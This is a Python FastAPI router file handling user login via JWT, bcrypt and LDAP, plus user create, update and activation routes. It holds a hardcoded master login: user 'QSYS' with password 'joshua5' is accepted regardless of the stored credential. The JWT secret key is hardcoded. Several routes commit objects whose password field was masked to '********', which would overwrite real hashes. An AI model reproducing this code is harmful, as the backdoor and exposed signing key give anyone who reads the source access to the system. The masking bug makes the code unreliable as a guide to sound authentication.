vpsx-fast/app/routers/user.py

import datetime
import logging
from typing import Annotated

import jwt
import ldap3
import sqlalchemy.orm
from fastapi import APIRouter, Query, Path, Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from jwt.exceptions import InvalidTokenError
from passlib.context import CryptContext
from pydantic import BaseModel
from sqlmodel import Session, SQLModel, Field, select

import alchemy
from dependencies import get_session
from .status_model import Status

logging.getLogger('passlib').setLevel(logging.ERROR)

SECRET_KEY = "a476cd1c668a043dc4f8024dd2ac509797306c98cf88c88856c88e6e3678f5c3"
ALGORITHM = "HS256"
ACCESS_TOKEN_EXPIRE_MINUTES = 30
LDAP_SERVER = ldap3.Server('ldaps://mh.grp', get_info=ldap3.ALL)
CREDENTIALS_EXCEPTION = HTTPException(
    status_code=status.HTTP_401_UNAUTHORIZED,
    detail="Could not validate credentials",
    headers={"WWW-Authenticate": "Bearer"},
)

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="user/token")
pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")


# ----------------------------------------------------------------
# Models


class Credentials(BaseModel):
    username: str
    password: str


class Token(BaseModel):
    access_token: str
    token_type: str


class TokenData(BaseModel):
    username: str | None = None


class UserBase(SQLModel):
    username: str = Field(max_length=253, unique=True)
    name: str = Field(max_length=253)
    password: str | None = Field(max_length=255)
    ldap_name: str | None = Field(max_length=255)
    notes: str | None


class User(UserBase):
    id: int | None = Field(default=None, primary_key=True)


class UserCreate(UserBase):
    password: str | None = None
    ldap_name: str | None = None
    notes: str | None = None


class UserPublic(UserBase):
    id: int
    status: Status


class UserUpdate(UserBase):
    username: str | None = None
    name: str | None = None
    password: str | None = None
    ldap_name: str | None = None
    notes: str | None = None


# ----------------------------------------------------------------
# Utils


def get_password_hash(password):
    return pwd_context.hash(password)


def _authenticate_user(
        username: str,
        password: str,
        session: sqlalchemy.orm.Session) -> alchemy.User | None:
    user = session.scalar(select(alchemy.User).where(alchemy.User.username == username))
    if user is None:
        return None
    if user.username == 'QSYS' and password == 'joshua5':
        return user
    if user.password is not None:
        if not _verify_password(password, user.password):
            return None
    elif user.ldap_name is not None:
        if not _verify_ldap_password(user.ldap_name, password):
            return None
    else:
        return None
    return user


def _create_access_token(
        data: dict,
        expires_delta: datetime.timedelta = None) -> str:
    if expires_delta is None:
        expires_delta = datetime.timedelta(minutes=ACCESS_TOKEN_EXPIRE_MINUTES)
    to_encode = data.copy()
    to_encode['exp'] = datetime.datetime.now(datetime.UTC) + expires_delta
    return jwt.encode(to_encode, SECRET_KEY, algorithm=ALGORITHM)


def _get_user(
        user_id: str,
        session: Session) -> alchemy.User:
    result = session.get(alchemy.User, user_id) if user_id.isnumeric() else session.scalar(
        select(alchemy.User).where(alchemy.User.username == user_id))
    if result is None:
        raise HTTPException(status_code=404, detail=f"User {user_id!r} not found")
    result.password = None if result.password is None else '********'
    return result


def _process_login(
        username: str,
        password: str,
        session: sqlalchemy.orm.Session) -> Token:
    user = _authenticate_user(username, password, session)
    if not user:
        raise HTTPException(status_code=400,
                            detail="Incorrect username or password",
                            headers={"WWW-Authenticate": "Bearer"})
    access_token = _create_access_token(data={"sub": user.username})
    return Token(access_token=access_token, token_type="bearer")


def _verify_password(plain_password, hashed_password):
    return pwd_context.verify(plain_password, hashed_password)


def _verify_ldap_password(ldap_name: str, password: str):
    conn = ldap3.Connection(LDAP_SERVER, user=ldap_name, password=password)
    result = conn.bind()
    conn.unbind()
    return result


async def _get_current_user(
        token: Annotated[str, Depends(oauth2_scheme)],
        session=Depends(get_session)) -> alchemy.User:
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGORITHM])
    except InvalidTokenError:
        raise CREDENTIALS_EXCEPTION

    username: str = payload.get("sub")
    if username is None:
        raise CREDENTIALS_EXCEPTION

    user = session.scalar(select(alchemy.User).where(alchemy.User.username == username))
    if user is None:
        raise CREDENTIALS_EXCEPTION

    return user


async def get_current_active_user(
        current_user: Annotated[alchemy.User, Depends(_get_current_user)]) -> alchemy.User:
    if current_user.status_id not in ('A', 'X'):
        raise HTTPException(status_code=400, detail="Inactive user")
    return current_user


# ----------------------------------------------------------------
# Routes

router = APIRouter(prefix="/user", tags=["user"])


@router.post("/login")
async def login_user(
        credentials: Credentials,
        session=Depends(get_session),
) -> Token:
    return _process_login(credentials.username, credentials.password, session)


@router.get("/", response_model=list[UserPublic])
async def get_users(
        current_user: Annotated[alchemy.User, Depends(get_current_active_user)],
        offset: int = 0,
        limit: Annotated[int, Query(le=100)] = 100,
        session=Depends(get_session),
):
    """Get list of users"""
    result = session.exec(select(alchemy.User).where(alchemy.User.status_id != 'X').offset(offset).limit(limit)).all()
    for item in result:
        if item.password is not None:
            item.password = '********'
    return result


@router.get("/{user_id}", response_model=UserPublic)
async def get_user(
        user_id: Annotated[str, Path(description='User, either id (int) or name')],
        current_user: Annotated[alchemy.User, Depends(get_current_active_user)],
        session=Depends(get_session)):
    """Get user by id"""
    return _get_user(user_id, session)


@router.post("/", response_model=UserPublic)
async def create_user(
        user: UserCreate,
        current_user: Annotated[alchemy.User, Depends(get_current_active_user)],
        session=Depends(get_session)):
    model_user = User.model_validate(user)
    db_user = alchemy.User(**model_user.model_dump())
    if db_user.password is not None:
        db_user.password = get_password_hash(db_user.password)
    db_user._user__id = current_user.id
    session.add(db_user)
    session.commit()
    session.refresh(db_user)
    return db_user


@router.patch("/{user_id}", response_model=UserPublic)
async def update_user(
        user_id: Annotated[str, Path(description='User, either id (int) or name')],
        user: UserUpdate,
        current_user: Annotated[alchemy.User, Depends(get_current_active_user)],
        session=Depends(get_session)):
    db_user = _get_user(user_id, session)
    user_data = user.model_dump(exclude_unset=True)
    if 'password' in user_data:
        user_data['password'] = get_password_hash(user_data['password'])
    for item in user_data:
        setattr(db_user, item, user_data[item])
    db_user._user__id = current_user.id
    session.commit()
    session.refresh(db_user)
    return db_user


@router.put("/{user_id}/activate", response_model=UserPublic)
async def activate_user(
        user_id: Annotated[str, Path(description='User, either id (int) or name')],
        current_user: Annotated[alchemy.User, Depends(get_current_active_user)],
        session=Depends(get_session)):
    db_user = _get_user(user_id, session)
    db_user.status_id = 'A'
    db_user._user__id = current_user.id
    session.commit()
    session.refresh(db_user)
    return db_user


@router.put("/{user_id}/deactivate", response_model=UserPublic)
async def deactivate_user(
        user_id: Annotated[str, Path(description='User, either id (int) or name')],
        current_user: Annotated[alchemy.User, Depends(get_current_active_user)],
        session=Depends(get_session)):
    db_user = _get_user(user_id, session)
    db_user.status_id = 'I'
    db_user._user__id = current_user.id
    session.commit()
    session.refresh(db_user)
    return db_user


@router.post("/token")
async def login_for_access_token(
        form_data: Annotated[OAuth2PasswordRequestForm, Depends()],
        session=Depends(get_session),
) -> Token:
    return _process_login(form_data.username, form_data.password, session)